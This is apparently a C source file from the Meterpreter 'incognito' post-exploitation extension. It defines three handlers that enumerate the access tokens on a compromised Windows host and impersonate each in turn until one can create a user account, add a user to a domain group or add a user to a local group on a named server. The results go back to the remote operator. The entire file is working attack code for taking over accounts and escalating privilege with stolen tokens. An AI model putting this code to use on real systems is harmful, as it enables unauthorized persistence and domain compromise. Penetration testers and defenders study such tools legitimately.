#define _CRT_SECURE_NO_DEPRECATE 1
#include "common.h"
#include "common_metapi.h"
#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>
#include <aclapi.h>
#include <accctrl.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <lm.h>
#include <wchar.h>
#include "list_tokens.h"
#include "incognito.h"

DWORD request_incognito_add_user(Remote *remote, Packet *packet)
{
	USER_INFO_1 ui;
   	DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
   	NET_API_STATUS nStatus;
	SavedToken *token_list = NULL;
	HANDLE saved_token;
	char *dc_netbios_name, *username, *password, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
	wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE];
	TOKEN_PRIVS token_privs;

	// Read arguments
	Packet *response = met_api->packet.create_response(packet);
	dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
	username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
	password = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD);

	mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
	mbstowcs(username_u, username, strlen(username)+1);
	mbstowcs(password_u, password, strlen(password)+1);

   	ui.usri1_name = username_u;
   	ui.usri1_password = password_u;
   	ui.usri1_priv = USER_PRIV_USER;
   	ui.usri1_home_dir = NULL;
   	ui.usri1_comment = NULL;
   	ui.usri1_flags = UF_SCRIPT;
   	ui.usri1_script_path = NULL;

	// Save current thread token if one is currently being impersonated
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
		saved_token = INVALID_HANDLE_VALUE;

	token_list = get_token_list(&num_tokens, &token_privs);
	if (!token_list)
	{
		sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
		goto cleanup;
	}

	sprintf(return_value, "[*] Attempting to add user %s to host %s\n", username, dc_netbios_name);

	// Attempt to add user with every token
	for (i=0;i<num_tokens;i++)
	if (token_list[i].token)
	{
		// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
		if (!_wcsicmp(L"NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
			continue;

		ImpersonateLoggedOnUser(token_list[i].token);
		nStatus = NetUserAdd(dc_netbios_name_u, 1, (LPBYTE)&ui, &dwError);
		RevertToSelf();

   		switch (nStatus)
   		{
			case ERROR_ACCESS_DENIED:
			case ERROR_LOGON_FAILURE: // unknown username or bad password
			case ERROR_INVALID_PASSWORD:
				break;
			case NERR_Success:
				strncat(return_value, "[+] Successfully added user\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_InvalidComputer:
				strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_NotPrimary:
				strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_GroupExists:
				strncat(return_value, "[-] Group already exists\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_UserExists:
				strncat(return_value, "[-] User already exists\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_PasswordTooShort:
				strncat(return_value,"[-] Password does not meet complexity requirements\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			default:
				sprintf(temp, "[-] Unknown error: %d\n", nStatus);
				strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
		}
	}

	strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);

cleanup:
	for (i=0;i<num_tokens;i++)
		CloseHandle(token_list[i].token);
	free(token_list);

	met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
	met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);

	// Restore token impersonation
	if (saved_token != INVALID_HANDLE_VALUE)
		ImpersonateLoggedOnUser(saved_token);

	return ERROR_SUCCESS;
}

DWORD request_incognito_add_group_user(Remote *remote, Packet *packet)
{
   	DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
   	NET_API_STATUS nStatus;
	SavedToken *token_list = NULL;
	HANDLE saved_token;
	wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
	char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
	TOKEN_PRIVS token_privs;

	// Read arguments
	Packet *response = met_api->packet.create_response(packet);
	dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
	groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
	username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);

	mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
	mbstowcs(username_u, username, strlen(username)+1);
	mbstowcs(groupname_u, groupname, strlen(groupname)+1);

	// Save current thread token if one is currently being impersonated
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
		saved_token = INVALID_HANDLE_VALUE;

	token_list = get_token_list(&num_tokens, &token_privs);
	if (!token_list)
	{
		sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
		goto cleanup;
	}

	sprintf(return_value, "[*] Attempting to add user %s to group %s on domain controller %s\n", username, groupname, dc_netbios_name);

	// Attempt to add user to group with every token
	for (i=0;i<num_tokens;i++)
	if (token_list[i].token)
	{
		// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
		if (!_wcsicmp(L"NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
			continue;

		ImpersonateLoggedOnUser(token_list[i].token);
		nStatus = NetGroupAddUser(dc_netbios_name_u, groupname_u, username_u);
		RevertToSelf();

   		switch (nStatus)
   		{
			case ERROR_ACCESS_DENIED:
			case ERROR_LOGON_FAILURE: // unknown username or bad password
			case ERROR_INVALID_PASSWORD:
				break;
			case NERR_Success:
				strncat(return_value, "[+] Successfully added user to group\n", sizeof(return_value)-strlen(return_value)-1);;
				goto cleanup;
			case NERR_InvalidComputer:
				strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_NotPrimary:
				strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_SpeGroupOp:
				strncat(return_value, "[-] Special group\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_UserNotFound:
				strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_GroupNotFound:
				strncat(return_value, "[-] Group not found\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case 2236: // Can't find error code in documentation...found by testing
				strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			default:
				sprintf(temp, "Unknown error: %d\n", nStatus);
				strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
		}
	}

	strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);

cleanup:
	for (i=0;i<num_tokens;i++)
		CloseHandle(token_list[i].token);
	free(token_list);

	met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
	met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);

	// Restore token impersonation
	if (saved_token != INVALID_HANDLE_VALUE)
		ImpersonateLoggedOnUser(saved_token);

	return ERROR_SUCCESS;
}

DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet)
{
   	DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
   	NET_API_STATUS nStatus;
	LOCALGROUP_MEMBERS_INFO_3 localgroup_member;
	SavedToken *token_list = NULL;
	HANDLE saved_token;
	wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
	char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
	TOKEN_PRIVS token_privs;

	// Read arguments
	Packet *response = met_api->packet.create_response(packet);
	dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
	groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
	username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);

	mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
	mbstowcs(username_u, username, strlen(username)+1);
	mbstowcs(groupname_u, groupname, strlen(groupname)+1);

	localgroup_member.lgrmi3_domainandname = username_u;

	// Save current thread token if one is currently being impersonated
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
		saved_token = INVALID_HANDLE_VALUE;

	token_list = get_token_list(&num_tokens, &token_privs);
	if (!token_list)
	{
		sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
		goto cleanup;
	}

	sprintf(return_value, "[*] Attempting to add user %s to localgroup %s on host %s\n", username, groupname, dc_netbios_name);

	// Attempt to add user to localgroup with every token
	for (i=0;i<num_tokens;i++)
	if (token_list[i].token)
	{
		// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
		if (!_wcsicmp(L"NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
			continue;

		ImpersonateLoggedOnUser(token_list[i].token);
		nStatus = NetLocalGroupAddMembers(dc_netbios_name_u, groupname_u, 3, (LPBYTE)&localgroup_member, 1);
		RevertToSelf();

   		switch (nStatus)
   		{
			case ERROR_ACCESS_DENIED:
			case ERROR_LOGON_FAILURE: // unknown username or bad password
			case ERROR_INVALID_PASSWORD:
				break;
			case NERR_Success:
				strncat(return_value, "[+] Successfully added user to local group\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_InvalidComputer:
				strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case ERROR_NO_SUCH_MEMBER:
				strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_GroupNotFound:
			case 1376: // found by testing (also group not found)
				strncat(return_value, "[-] Local group not found\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case ERROR_MEMBER_IN_ALIAS:
				strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			default:
				sprintf(temp, "Unknown error: %d \n", nStatus);
				strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
		}
	}

	strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);

cleanup:
	for (i=0;i<num_tokens;i++)
		CloseHandle(token_list[i].token);
	free(token_list);

	met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
	met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);

	// Restore token impersonation
	if (saved_token != INVALID_HANDLE_VALUE)
		ImpersonateLoggedOnUser(saved_token);

	return ERROR_SUCCESS;
}